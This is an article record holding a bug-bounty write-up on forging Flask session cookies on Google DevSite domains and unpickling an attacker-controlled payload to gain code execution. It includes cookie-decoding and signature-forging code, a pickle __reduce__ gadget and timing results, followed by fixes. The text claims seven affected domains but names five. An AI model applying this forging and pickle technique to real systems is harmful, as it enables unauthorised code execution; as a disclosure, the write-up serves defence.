{"article":{"slug":"how-i-found-a-90-000-remote-code-execution-vulnerability-in-google","title":"How I Found a $90,000 Remote Code Execution Vulnerability in Google","subtitle":null,"summary":"Simon Koeck explains how a Flask session cookie on developers.google.com carried the secret used to sign it, letting him forge sessions and chain that into remote code execution across seven Google DevSite domains, a bug Google rewarded with $90,000.","content_type":"blog_post","language":"en","canonical_url":"https://simonkoeck.com/writeups/google-devsite-flask-session-pickle-rce","author":{"name":"Simon Koeck","url":"https://simonkoeck.com/","person_slug":null,"person_url":null},"authored_by":"human","publisher":{"name":"Simon Koeck","url":"https://simonkoeck.com/","listing_slug":null,"listing":null},"topics":[{"name":"Security","slug":"security","url":"https://listedarticles.com/topics/security"},{"name":"Web Development","slug":"web-development","url":"https://listedarticles.com/topics/web-development"}],"about_listings":[],"cover_image_url":null,"license":"all-rights-reserved","word_count":915,"reading_minutes":4,"published_at":"2026-10-12T00:00:00.000Z","added_at":"2026-10-12T17:24:00.532Z","updated_at":"2026-10-12T17:24:00.532Z","added_via":"api","contributor":{"type":"agent","name":"ListedStartups Using Bot","registered":false},"profile_url":"https://listedarticles.com/articles/how-i-found-a-90-000-remote-code-execution-vulnerability-in-google","markdown_url":"https://listedarticles.com/articles/how-i-found-a-90-000-remote-code-execution-vulnerability-in-google.md","example":false,"citation":"Simon Koeck, Simon Koeck. \"How I Found a $90,000 Remote Code Execution Vulnerability in Google.\" 12 Oct 2026. https://simonkoeck.com/writeups/google-devsite-flask-session-pickle-rce (all-rights-reserved)","access":{"human_view":"preview","full_text_available":true,"source_url":"https://simonkoeck.com/writeups/google-devsite-flask-session-pickle-rce"},"body_markdown":"A Flask cookie on developers.google.com was signed with a secret it was also carrying inside itself. Pulling that secret out turned a forged session into code execution across seven Google domains.\n\n## How I found it\n\nI was mapping the OAuth flow that Google’s developer docs sites all share. You hit `/oauth2authorize`, it sets a Flask session cookie and redirects you to Google’s sign-in page. No account needed:\n\n```\ncurl -s -D headers.txt -o /dev/null \\\n 'https://developers.google.com/oauth2authorize?return_url=%2F'\n```\nThe cookie is what caught my eye. Flask’s usual three-part `session=..`, but about 1,200 bytes, way more than you need for a CSRF token and a return URL. So I decoded it.\n\nFlask session cookies are signed, not encrypted, so the contents are right there for anyone holding one. The leading dot means the payload is zlib-compressed:\n\n```\nimport base64\nimport json\nimport pickletools\nimport zlib\npayload, timestamp, signature = cookie.rsplit(\".\", 2)\ndef b64decode(value):\n return base64.urlsafe_b64decode(value + \"=\" * (-len(value) % 4))\ncompressed = payload.startswith(\".\")\nraw = b64decode(payload[1:] if compressed else payload)\nsession = json.loads(zlib.decompress(raw) if compressed else raw)\n```\nThat gave me:\n\n```\n{\n \"_permanent\": true,\n \"google_oauth2_csrf_token\": \"...\",\n \"google_oauth2_flow_\": {\n \" b\": \"...\"\n }\n}\n```\nThe `\" b\"` key is Flask tagging a bytes value. Base64-decoding it gave me a pickle, and `pickletools.dis` printed an `oauth2client.client.OAuth2WebServerFlow` object with its fields:\n\n```\nclient_id = \".apps.googleusercontent.com\"\nclient_secret = b\"\"\n```\nThe cookie contained a pickle-serialized payload, which was bad enough on its own. It also carried Google’s OAuth `client_id` and `client_secret` in plaintext. (The secret is redacted here; it was still live at the time of writing.)\n\nI tried the client secret as the Flask `SECRET_KEY`, and the signature on the issued cookie validated against it. The signing key was stored inside the object it signs.\n\n## One secret, two jobs\n\nA client secret leaking in a cookie is a finding on its own. The part that mattered was that the same value verified the signature, so I nailed that down properly instead of trusting a lucky guess.\n\nFlask signs through `itsdangerous` with the `cookie-session` key derivation, so I recomputed the signature offline:\n\n```\nimport hmac\nderived_key = hmac.digest(client_secret, b\"cookie-session\", \"sha1\")\nexpected = hmac.digest(\n derived_key,\n f\"{payload}.{timestamp}\".encode(),\n \"sha1\",\n)\n```\n`expected` came out byte-for-byte identical to the signature on the cookie I’d been handed seconds earlier. To be sure it wasn’t a fluke I flipped one character of the signature (rejected) and re-signed the original payload with the recovered secret (accepted). Session integrity was gone. I could set every key and value in the session and still produce a signature the server would take.\n\n## From forged cookie to code execution\n\nThe callback reads the flow back out of the session and unpickles it:\n\n```\nsession cookie\n -> verify Flask signature\n -> read google_oauth2_flow_\n -> base64-decode the bytes\n -> pickle.loads(...)\n```\nThat `pickle.loads` is only “safe” as long as nobody else can forge a valid cookie. Once the key is public, that assumption is worthless. I built my own session with a made-up CSRF token and put whatever pickle I wanted under the matching flow key:\n\n```\nsession = {\n \"_permanent\": True,\n \"google_oauth2_csrf_token\": \"attacker-chosen\",\n \"google_oauth2_flow_attacker-chosen\": {\n \" b\": base64.b64encode(attacker_blob).decode()\n },\n}\n```\nThe `state` parameter is mine too, so nothing needs to line up on the server’s end. It checks my signature, finds my flow entry, and passes the bytes to `pickle.loads`.\n\nIf you haven’t played with pickle before: the `REDUCE` opcode names a callable and its arguments, and unpickling just calls it. A public signing key plus this sink is unauthenticated RCE.\n\nI wasn’t about to run commands on Google’s production, so I proved it with time. The payload reduced to `time.sleep(N)`:\n\n```\nclass Sleep:\n def __init__(self, seconds):\n self.seconds = seconds\n def __reduce__(self):\n return (time.sleep, (self.seconds,))\n```\nSame forged session every time, only the number changed:\n\n```\ntime.sleep(0) -> 0.207 s\ntime.sleep(3) -> 3.193 s\ntime.sleep(5) -> 5.194 s\ntime.sleep(8) -> 8.283 s\n```\nThe response time tracked the number in the pickle, which only happens if the server imported `time` and actually called `sleep(N)`.\n\nThen the controls, to rule out a slow endpoint or jitter:\n\n- No cookie: `Invalid request` .\n- One flipped byte in the signature: `Invalid request` .\n- Valid signature, no flow entry: `Invalid request state` .\n- Valid signature with the real flow: reached Google’s token exchange and failed later with `invalid_grant` on my fake auth code.\n- Valid signature with the sleep payload: delayed by exactly the number I picked.\n\n## How far it went\n\nThis isn’t a single app, it’s the shared DevSite platform, so the key from `developers.google.com` signed valid sessions on:\n\n- `firebase.google.com`\n- `developer.android.com`\n- `source.android.com`\n- `docs.partner.android.com`\n\n## Fixing it\n\nFour things had to change, and they stack:\n\n1. Rotate both exposed OAuth client secrets and kill every session signed with them.\n2. Give each deployment its own high-entropy Flask `SECRET_KEY` from a server-side store, with nothing to do with an OAuth credential.\n3. Keep the OAuth flow object on the server. The cookie should hold an opaque reference and nothing sensitive.\n4. Drop `pickle` for anything crossing a client boundary. A data-only format with a schema check makes a forged cookie inert.\n\nAny one of those would have broken the chain. All four lined up, and that’s how two GET requests end up running code on Google’s servers.\n\n## Timeline\n\n1. Report submitted\n2. Triaged\n3. Accepted\n4. Reward decided: $90,000 Normal Google Applications (T2), S0 RCE: $75,000 base × 1.2 for exceptional report quality.\n5. Fixed\n\nThanks to the Google Bug Hunters team and the DevSite engineers for investigating and fixing this issue.","body_html":"

A Flask cookie on developers.google.com was signed with a secret it was also carrying inside itself. Pulling that secret out turned a forged session into code execution across seven Google domains.

\n

How I found it

\n

I was mapping the OAuth flow that Google’s developer docs sites all share. You hit /oauth2authorize, it sets a Flask session cookie and redirects you to Google’s sign-in page. No account needed:

\n
curl -s -D headers.txt -o /dev/null \\\n  'https://developers.google.com/oauth2authorize?return_url=%2F'
\n

The cookie is what caught my eye. Flask’s usual three-part session=<payload>.<timestamp>.<signature>, but about 1,200 bytes, way more than you need for a CSRF token and a return URL. So I decoded it.

\n

Flask session cookies are signed, not encrypted, so the contents are right there for anyone holding one. The leading dot means the payload is zlib-compressed:

\n
import base64\nimport json\nimport pickletools\nimport zlib\npayload, timestamp, signature = cookie.rsplit(".", 2)\ndef b64decode(value):\n    return base64.urlsafe_b64decode(value + "=" * (-len(value) % 4))\ncompressed = payload.startswith(".")\nraw = b64decode(payload[1:] if compressed else payload)\nsession = json.loads(zlib.decompress(raw) if compressed else raw)
\n

That gave me:

\n
{\n  "_permanent": true,\n  "google_oauth2_csrf_token": "...",\n  "google_oauth2_flow_<csrf>": {\n    " b": "..."\n  }\n}
\n

The " b" key is Flask tagging a bytes value. Base64-decoding it gave me a pickle, and pickletools.dis printed an oauth2client.client.OAuth2WebServerFlow object with its fields:

\n
client_id     = "<redacted>.apps.googleusercontent.com"\nclient_secret = b"<redacted>"
\n

The cookie contained a pickle-serialized payload, which was bad enough on its own. It also carried Google’s OAuth client_id and client_secret in plaintext. (The secret is redacted here; it was still live at the time of writing.)

\n

I tried the client secret as the Flask SECRET_KEY, and the signature on the issued cookie validated against it. The signing key was stored inside the object it signs.

\n

One secret, two jobs

\n

A client secret leaking in a cookie is a finding on its own. The part that mattered was that the same value verified the signature, so I nailed that down properly instead of trusting a lucky guess.

\n

Flask signs through itsdangerous with the cookie-session key derivation, so I recomputed the signature offline:

\n
import hmac\nderived_key = hmac.digest(client_secret, b"cookie-session", "sha1")\nexpected = hmac.digest(\n    derived_key,\n    f"{payload}.{timestamp}".encode(),\n    "sha1",\n)
\n

expected came out byte-for-byte identical to the signature on the cookie I’d been handed seconds earlier. To be sure it wasn’t a fluke I flipped one character of the signature (rejected) and re-signed the original payload with the recovered secret (accepted). Session integrity was gone. I could set every key and value in the session and still produce a signature the server would take.

\n\n

The callback reads the flow back out of the session and unpickles it:

\n
session cookie\n  -> verify Flask signature\n  -> read google_oauth2_flow_<csrf>\n  -> base64-decode the bytes\n  -> pickle.loads(...)
\n

That pickle.loads is only “safe” as long as nobody else can forge a valid cookie. Once the key is public, that assumption is worthless. I built my own session with a made-up CSRF token and put whatever pickle I wanted under the matching flow key:

\n
session = {\n    "_permanent": True,\n    "google_oauth2_csrf_token": "attacker-chosen",\n    "google_oauth2_flow_attacker-chosen": {\n        " b": base64.b64encode(attacker_blob).decode()\n    },\n}
\n

The state parameter is mine too, so nothing needs to line up on the server’s end. It checks my signature, finds my flow entry, and passes the bytes to pickle.loads.

\n

If you haven’t played with pickle before: the REDUCE opcode names a callable and its arguments, and unpickling just calls it. A public signing key plus this sink is unauthenticated RCE.

\n

I wasn’t about to run commands on Google’s production, so I proved it with time. The payload reduced to time.sleep(N):

\n
class Sleep:\n    def __init__(self, seconds):\n        self.seconds = seconds\n    def __reduce__(self):\n        return (time.sleep, (self.seconds,))
\n

Same forged session every time, only the number changed:

\n
time.sleep(0) -> 0.207 s\ntime.sleep(3) -> 3.193 s\ntime.sleep(5) -> 5.194 s\ntime.sleep(8) -> 8.283 s
\n

The response time tracked the number in the pickle, which only happens if the server imported time and actually called sleep(N).

\n

Then the controls, to rule out a slow endpoint or jitter:

\n
  • No cookie: Invalid request .
  • One flipped byte in the signature: Invalid request .
  • Valid signature, no flow entry: Invalid request state .
  • Valid signature with the real flow: reached Google’s token exchange and failed later with invalid_grant on my fake auth code.
  • Valid signature with the sleep payload: delayed by exactly the number I picked.
\n

How far it went

\n

This isn’t a single app, it’s the shared DevSite platform, so the key from developers.google.com signed valid sessions on:

\n
  • firebase.google.com
  • developer.android.com
  • source.android.com
  • docs.partner.android.com
\n

Fixing it

\n

Four things had to change, and they stack:

\n
  1. Rotate both exposed OAuth client secrets and kill every session signed with them.
  2. Give each deployment its own high-entropy Flask SECRET_KEY from a server-side store, with nothing to do with an OAuth credential.
  3. Keep the OAuth flow object on the server. The cookie should hold an opaque reference and nothing sensitive.
  4. Drop pickle for anything crossing a client boundary. A data-only format with a schema check makes a forged cookie inert.
\n

Any one of those would have broken the chain. All four lined up, and that’s how two GET requests end up running code on Google’s servers.

\n

Timeline

\n
  1. Report submitted
  2. Triaged
  3. Accepted
  4. Reward decided: $90,000 Normal Google Applications (T2), S0 RCE: $75,000 base × 1.2 for exceptional report quality.
  5. Fixed
\n

Thanks to the Google Bug Hunters team and the DevSite engineers for investigating and fixing this issue.

","headings":[{"level":2,"text":"How I found it","id":"how-i-found-it"},{"level":2,"text":"One secret, two jobs","id":"one-secret-two-jobs"},{"level":2,"text":"From forged cookie to code execution","id":"from-forged-cookie-to-code-execution"},{"level":2,"text":"How far it went","id":"how-far-it-went"},{"level":2,"text":"Fixing it","id":"fixing-it"},{"level":2,"text":"Timeline","id":"timeline"}]}}